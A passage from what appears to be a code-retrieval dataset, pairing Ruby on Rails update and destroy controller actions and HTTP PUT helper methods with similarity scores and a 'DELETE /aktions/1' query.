request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def update\n respond_to do |format|\n if @accesot.update(accesot_params)\n format.html { redirect_to @accesot, notice: 'Accesot was successfully updated.' }\n format.json { render :show, status: :ok, location: @accesot }\n else\n format.html { render :edit }\n format.json { render json: @accesot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update_rest\n @entry_instrument = EntryInstrument.find(params[:id])\n\n respond_to do |format|\n if @entry_instrument.update_attributes(params[:entry_instrument])\n flash[:notice] = 'EntryInstrument was successfully updated.'\n format.html { redirect_to(@entry_instrument) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_instrument.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @az_tariff = AzTariff.find(params[:id])\n\n respond_to do |format|\n if @az_tariff.update_attributes(params[:az_tariff])\n format.html { redirect_to(@az_tariff, :notice => 'AzTariff was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @az_tariff.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n @incident = Incident.find(params[:id])\n\n respond_to do |format|\n if @incident.update_attributes(params[:incident])\n format.html { redirect_to(@incident) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @incident.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end", "def put(*args)\n request :put, *args\n end", "def update\n @aniversario = Aniversario.find(params[:id])\n\n respond_to do |format|\n if @aniversario.update_attributes(params[:aniversario])\n format.html { redirect_to(@aniversario, :notice => 'Aniversario was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aniversario.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n if @ticket.update_attributes(params[:ticket])\n format.html { redirect_to(@ticket, :notice => 'Bilet został pomyślnie zaktualizowany.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ticket.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params)\n request(:put, path, params)\n end", "def update\n @t1 = T1.find(params[:id])\n\n respond_to do |format|\n if @t1.update_attributes(params[:t1])\n flash[:notice] = 'T1 was successfully updated.'\n format.html { redirect_to(@t1) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @t1.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end", "def update_current_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n @kontakty = Kontakty.find(params[:id])\n\n respond_to do |format|\n if @kontakty.update_attributes(params[:kontakty])\n flash[:notice] = 'Kontakty was successfully updated.'\n format.html { redirect_to(@kontakty) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @kontakty.errors, :status => :unprocessable_entity }\n end\n end\n end", "def UpdateTicket params = {}\n \n APICall(path: 'tickets.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n @zorg_voor_jeugd_alias = ZorgVoorJeugdAlias.find(params[:id])\n\n respond_to do |format|\n if @zorg_voor_jeugd_alias.update_attributes(params[:zorg_voor_jeugd_alias])\n format.html { redirect_to(@zorg_voor_jeugd_alias, :notice => 'De Zorg voor Jeugd-alias is aangepast.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @zorg_voor_jeugd_alias.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def put_atom_entry(entry, url = entry.edit_url)\n raise \"Cowardly refusing to PUT a non-Atom::Entry (#{entry.class})\" unless entry.is_a? Atom::Entry\n headers = {\"Content-Type\" => \"application/atom+xml\" }\n\n put(url, entry.to_s, headers)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def update\n respond_to do |format|\n if @acticle.update(acticle_params)\n format.html { redirect_to @acticle, notice: 'Acticle was successfully updated.' }\n format.json { render :show, status: :ok, location: @acticle }\n else\n format.html { render :edit }\n format.json { render json: @acticle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end", "def update \t\n\t @cinema = Cinema.find(params[:id])\n\t\t@cities = City.find(:all)\n\t\t\n\t respond_to do |format|\n\t if @cinema.update_attributes(params[:cinema])\n\t \n\t update_cinemas_xml()\n\t \n\t format.html { redirect_to(@cinema, :notice => 'Kino zostało pomyślnie zaktualizowane.') }\n\t format.xml { head :ok }\n\t else\n\t format.html { render :action => \"edit\" }\n\t format.xml { render :xml => @cinema.errors, :status => :unprocessable_entity }\n\t end\n\t end \n end", "def put(path, params)\n parse_response @client[path].put(params)\n end", "def update\n @artefact = Artefact.find(params[:id])\n\n respond_to do |format|\n if @artefact.update_attributes(params[:artefact])\n format.html { redirect_to(artefact_path(@artefact), :notice => 'Artefact was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @artefact.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @transmission = Transmission.find(params[:id])\n\n respond_to do |format|\n if @transmission.update_attributes(params[:transmission])\n format.html { redirect_to(@transmission, :notice => 'Transmission was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transmission.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @vacation = Vacation.find(params[:id])\n set_tz_offset(:vacation)\n\n respond_to do |format|\n if @vacation.update_attributes(params[:vacation])\n format.html { redirect_to @vacation, :notice => 'Vacation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @vacation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @ontology = SYMPH::Ontology.find(params[:id])\n\n respond_to do |format|\n if @ontology.update_attributes(params[:ontology])\n flash[:notice] = 'Ontology was successfully updated.'\n format.html { redirect_to(ontologies_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ontology.errors, :status => :unprocessable_entity }\n end\n end\n\t\n end", "def set_aktuator\n @aktuator = Aktuator.find(params[:id])\n end", "def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end", "def update\n @flight = Flight.find(params[:id])\n\n respond_to do |format|\n if @flight.update_attributes(params[:flight])\n flash[:notice] = 'Flight was successfully updated.'\n format.html { redirect_to(@flight) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @flight.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(action, params={}, options={})\n request(:put, action, params, options)\n end", "def update\n put :update\n end", "def update\n respond_to do |format|\n format.xml { head :method_not_allowed }\n format.json { head :method_not_allowed }\n end\n end", "def put(path, params={})\n RestClient.put request_base+path, params\n end", "def update\n respond_to do |format|\n if @actinfo.update(actinfo_params)\n format.html { redirect_to @actinfo, notice: 'Actinfo was successfully updated.' }\n format.json { render :show, status: :ok, location: @actinfo }\n else\n format.html { render :edit }\n format.json { render json: @actinfo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @item_usage.update_attributes(params[:item_usage])\n flash[:notice] = 'ItemUsage was successfully updated.'\n format.html { redirect_to(@item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @ticket_action = TicketAction.find(params[:id])\n\n respond_to do |format|\n if @ticket_action.update_attributes(params[:ticket_action])\n flash[:notice] = 'TicketAction was successfully updated.'\n format.html { redirect_to(@ticket_action) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ticket_action.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @settlement = @transaction.settlements.find(params[:id])\n\n respond_to do |format|\n if @settlement.update_attributes(params[:settlement])\n format.html { redirect_to(client_transaction_settlement_path(@client, @transaction, @settlement), :notice => 'Settlement was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @settlement.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path, parameters = {})\n request(:put, path, parameters)\n end", "def update\n respond_to do |wants|\n if @ticket.update_attributes(params[:ticket])\n flash[:notice] = 'Ticket was successfully updated.'\n wants.html { redirect_to(@ticket) }\n wants.xml { head :ok }\n wants.json { head :ok }\n else\n wants.html { render :action => \"edit\" }\n wants.xml { render :xml => @ticket.errors, :status => :unprocessable_entity }\n wants.json { render :json => @ticket.errors.full_messages, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n if @reservation.update_attributes(params[:reservation])\n #flash[:notice] = 'Réservation valide.'\n format.html { redirect_to(@reservation) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reservation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n organization_timeline_entry.update_attributes(organization_timeline_entry_params)\n respond_with(@organization_timeline_entry, location: params[:url])\n end", "def set_api_v1_flightmanifest\n @api_v1_flightmanifest = Flightmanifest.where(flightofferings_id: params[:flightofferings_id])\n end", "def update\n respond_to do |format|\n if @ticketrez.update_attributes(params[:ticketrez])\n flash[:notice] = 'Ticketrez was successfully updated.'\n format.html { redirect_to(@ticketrez) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ticketrez.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path = '/files/', params = {})\n request :put, path, params\n end", "def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end", "def update\n respond_to do |format|\n if @traceroute.update(traceroute_params)\n format.html { redirect_to @traceroute, notice: 'Traceroute was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @traceroute.update(traceroute_params)\n format.html { redirect_to @traceroute, notice: 'Traceroute was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @attestation = Attestation.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @attestation.update_attributes(params[:attestation])\r\n format.html { redirect_to @attestation, notice: 'Attestation was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @attestation.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @taxon = Taxon.find(params[:id])\n\n respond_to do |format|\n if @taxon.update_attributes(params[:taxon])\n format.html { redirect_to @taxon, notice: 'Taxon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @taxon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @attdatum.update(attdatum_params)\n format.html { redirect_to @attdatum, notice: 'Attdatum was successfully updated.' }\n format.json { render :show, status: :ok, location: @attdatum }\n else\n format.html { render :edit }\n format.json { render json: @attdatum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @taxon = Taxon.find(params[:id])\n\n respond_to do |format|\n if @taxon.update_attributes(params[:taxon])\n format.html { redirect_to @taxon, notice: 'Taxon was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @taxon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n if @ticket.update_attributes(params[:ticket])\n format.html { redirect_to(@ticket, :notice => 'Ticket was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ticket.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @locator.update(locator_params)\n log_action('Update', current_user ? current_user.username : 'Anonymous', params[:id], 'Locator')\n format.html { redirect_to @locator, notice: 'Locator was successfully updated.' }\n format.json { render :show, status: :ok, location: @locator }\n else\n format.html { render :edit }\n format.json { render json: @locator.errors, status: :unprocessable_entity }\n end\n end\n end", "def _update(type, current_name, metadata={})\n type = type.to_s.camelize\n request :update do |soap|\n soap.body = {\n :metadata => {\n :current_name => current_name,\n :metadata => prepare(metadata),\n :attributes! => { :metadata => { 'xsi:type' => \"ins0:#{type}\" } }\n }\n }\n end\n end", "def update\n \n @act = Act.find(params[:id])\n\n respond_to do |format|\n if @act.update_attributes(params[:act])\n format.html { redirect_to acts_path, notice: 'act was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @act.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @namespace = Namespace.find_by_name(params[:id])\n\n respond_to do |format|\n if @namespace.update_attributes(params[:namespace])\n format.html { redirect_to(@namespace, :notice => 'Namespace was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @namespace.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @node = Node.find(params[:id])\n @title = \"Taxonomy node - organism relationships\"\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n\n format.json { render json: Axis.find(params[:id]).update( name: params[:name]) }\n end\n\n # end\n end", "def update\n @aauto = Aauto.find(params[:id])\n\n respond_to do |format|\n if @aauto.update_attributes(params[:aauto])\n format.html { redirect_to(@aauto, :notice => 'Aauto was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aauto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n if @ticket.update_attributes(params[:ticket])\n flash[:notice] = 'Ticket was successfully updated.'\n format.html { redirect_to(@ticket) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ticket.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n if @ticket.update_attributes(params[:ticket])\n flash[:notice] = 'Ticket was successfully updated.'\n format.html { redirect_to(@ticket) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ticket.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.5846597", "0.5741908", "0.56314933", "0.56169415", "0.55770534", "0.5570146", "0.5535835", "0.55105174", "0.5508029", "0.54939276", "0.53676236", "0.5338769", "0.5329612", "0.53254646", "0.53153676", "0.530708", "0.5272382", "0.5258371", "0.52416664", "0.5218568", "0.52040315", "0.5196206", "0.51882565", "0.51869005", "0.5170854", "0.51613235", "0.51550716", "0.5154346", "0.515098", "0.5136064", "0.5135885", "0.51212907", "0.51212907", "0.51212907", "0.51212907", "0.51212907", "0.51212907", "0.51212907", "0.51212907", "0.5117356", "0.5117356", "0.5117356", "0.5117199", "0.5110932", "0.5107452", "0.5102184", "0.5095103", "0.50807106", "0.50700754", "0.50539845", "0.505267", "0.50493443", "0.50491196", "0.5045224", "0.5042497", "0.5042497", "0.50363135", "0.5032822", "0.5032131", "0.50310063", "0.5030442", "0.5027779", "0.50261176", "0.5020255", "0.50164396", "0.5015493", "0.5013592", "0.49998945", "0.4998544", "0.49953642", "0.49890545", "0.4988179", "0.4988031", "0.49853078", "0.49796525", "0.49733555", "0.49727115", "0.4971472", "0.49655378", "0.49621442", "0.49595425", "0.49583015", "0.49575076", "0.49514326", "0.4950229", "0.4949451", "0.49366295", "0.4936109", "0.49360555", "0.49345535", "0.493212", "0.4928689", "0.4928599", "0.49234092", "0.4921404", "0.4920211", "0.49192554", "0.49153677", "0.4914779", "0.4914779" ]
0.58411115
1
DELETE /aktions/1 DELETE /aktions/1.xml
def destroy @aktion = Aktion.find(params[:id]) @aktion.destroy respond_to do |format| format.html { redirect_to(aktions_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @kontak = Kontak.find(params[:id])\n @kontak.destroy\n\n respond_to do |format|\n format.html { redirect_to(kontaks_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def destroy\n @arc = Arc.find(params[:id])\n @arc.destroy\n\n respond_to do |format|\n format.html { redirect_to(arcs_url) }\n format.xml { head :ok }\n end\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def destroy\n @kontakty = Kontakty.find(params[:id])\n @kontakty.destroy\n\n respond_to do |format|\n format.html { redirect_to(kontakties_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @direccion = Direccion.find(params[:id])\n @direccion.destroy\n\n respond_to do |format|\n format.html { redirect_to(direccions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aisle = Aisle.find(params[:id])\n @aisle.destroy\n\n respond_to do |format|\n format.html { redirect_to(aisles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @asignacion = Asignacion.find(params[:id])\r\n @asignacion.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(asignacions_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @aplicacion = Aplicacion.find(params[:id])\n @aplicacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(aplicacions_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @t1 = T1.find(params[:id])\n @t1.destroy\n\n respond_to do |format|\n format.html { redirect_to(t1s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @acre = Acre.find(params[:id])\n @acre.destroy\n\n respond_to do |format|\n format.html { redirect_to(acres_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @iguanasactualizacion = Iguanasactualizacion.find(params[:id])\n @iguanasactualizacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(iguanasactualizaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estacion = Estacion.find(params[:id])\n @estacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(estaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aniversario = Aniversario.find(params[:id])\n @aniversario.destroy\n\n respond_to do |format|\n format.html { redirect_to(aniversarios_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n client = Connection::MarkLogic.new.client\n client.send_corona_request(\"/v1/documents?uri=/amandments/amandment_#{@amandment.id}.xml\", :delete)\n @amandment.destroy\n respond_to do |format|\n format.html { redirect_to home_meeting_path, notice: 'Amandman was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invier_acceso = InvierAcceso.find(params[:id])\n @invier_acceso.destroy\n\n respond_to do |format|\n format.html { redirect_to(invier_accesos_url) }\n format.xml { head :ok }\n end\n end", "def delete_by_id id, opts = {}\n update opts.merge(:data => xml.delete_by_id(id))\n end", "def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to(actividads_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ambito = Ambito.find(params[:id])\n @ambito.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambitos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @almacen = Almacen.find(params[:id])\n @almacen.destroy\n \n respond_to do |format|\n format.html { redirect_to(almacenes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @relatestagiario = Relatestagiario.find(params[:id])\n @relatestagiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(relatestagiarios_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @atom = Atom.find(params[:id])\n @atom.destroy\n\n respond_to do |format|\n format.html { redirect_to(atoms_url) }\n format.xml { head :ok }\n end\n end", "def delete_entry(aliaz)\n\n end", "def destroy\r\n @razdel1 = Razdel1.find(params[:id])\r\n @razdel1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(razdel1s_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def destroy\n @transmission = Transmission.find(params[:id])\n @transmission.destroy\n\n respond_to do |format|\n format.html { redirect_to(transmissions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ambit = Ambit.find(params[:id])\n @ambit.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambits_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @adjunto = Adjunto.find(params[:id])\n @adjunto.destroy\n\n respond_to do |format|\n format.html { redirect_to(adjuntos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @texte_accueil = TexteAccueil.find(params[:id])\n @texte_accueil.destroy\n\n respond_to do |format|\n format.html { redirect_to(texte_accueils_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tx = Tx.find(params[:id])\n @tx.destroy\n\n respond_to do |format|\n format.html { redirect_to(txes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @activite = Activite.find(params[:id])\n @activite.destroy\n\n respond_to do |format|\n format.html { redirect_to association_activites_url(@association) }\n format.xml { head :ok }\n end\n end", "def destroy\n @siaikekka = Siaikekka.find(params[:id])\n @siaikekka.destroy\n\n respond_to do |format|\n format.html { redirect_to(siaikekkas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @asistencia = Asistencia.find(params[:id])\n @asistencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(asistencias_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @az_tariff = AzTariff.find(params[:id])\n @az_tariff.destroy\n\n respond_to do |format|\n format.html { redirect_to(az_tariffs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estatu = Estatu.find(params[:id])\n @estatu.destroy\n\n respond_to do |format|\n format.html { redirect_to(estatus_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @archdiocese.destroy\n\n head :no_content\n end", "def destroy\n @aanwezig = Aanwezig.find(params[:id])\n @aanwezig.destroy\n\n respond_to do |format|\n format.html { redirect_to(aanwezigs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @atividade = Atividade.find(params[:id])\n @atividade.destroy\n\n respond_to do |format|\n format.html { redirect_to(atividades_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @abonne = Abonne.find(params[:id])\n @abonne.destroy\n\n respond_to do |format|\n format.html { redirect_to(abonnes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @receita = Receita.find(params[:id])\n @receita.destroy\n\n respond_to do |format|\n format.html { redirect_to(receitas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @article = Article.find_by_sysname(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @abrechnung = Abrechnung.find(params[:id])\n @abrechnung.destroy\n\n respond_to do |format|\n format.html { redirect_to(abrechnungs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @visita = Visita.find(params[:id])\n @visita.destroy\n\n respond_to do |format|\n format.html { redirect_to(paciente_visitas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @absence_request = AbsenceRequest.find(params[:id])\n @absence_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(absence_requests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aauto = Aauto.find(params[:id])\n @aauto.destroy\n\n respond_to do |format|\n format.html { redirect_to(aautos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @uitgelicht = Uitgelicht.find(params[:id])\n @uitgelicht.destroy\n\n respond_to do |format|\n format.html { redirect_to(uitgelichts_url) }\n format.xml { head :ok }\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n @atest = Atest.find(params[:id])\n @atest.destroy\n\n respond_to do |format|\n format.html { redirect_to(atests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @serialize = Serialize.find(params[:id])\n @serialize.destroy\n\n respond_to do |format|\n format.html { redirect_to(serializes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @journalentry = Journalentry.find(params[:id])\n @journalentry.destroy\n\n respond_to do |format|\n format.html { redirect_to(journalentries_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estagiarios = Estagiario.find(params[:id])\n @estagiarios.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @atr = Atr.find(params[:id])\n @atr.destroy\n\n respond_to do |format|\n format.html { redirect_to atrs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @orc_ata = OrcAta.find(params[:id])\n @orc_ata.destroy\n @ata =\n respond_to do |format|\n format.html { redirect_to( home_path ) }\n\n format.xml { head :ok }\n end\n end", "def destroy\n @ficha_tematica = FichaTematica.find(params[:id])\n @ficha_tematica.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_ficha_tematicas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @odeme_akademist = Odeme::Akademist.find(params[:id])\n @odeme_akademist.destroy\n\n respond_to do |format|\n format.html { redirect_to odeme_akademists_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @aktuator.destroy\n respond_to do |format|\n format.html { redirect_to aktuators_url, notice: 'Aktuator was successfully 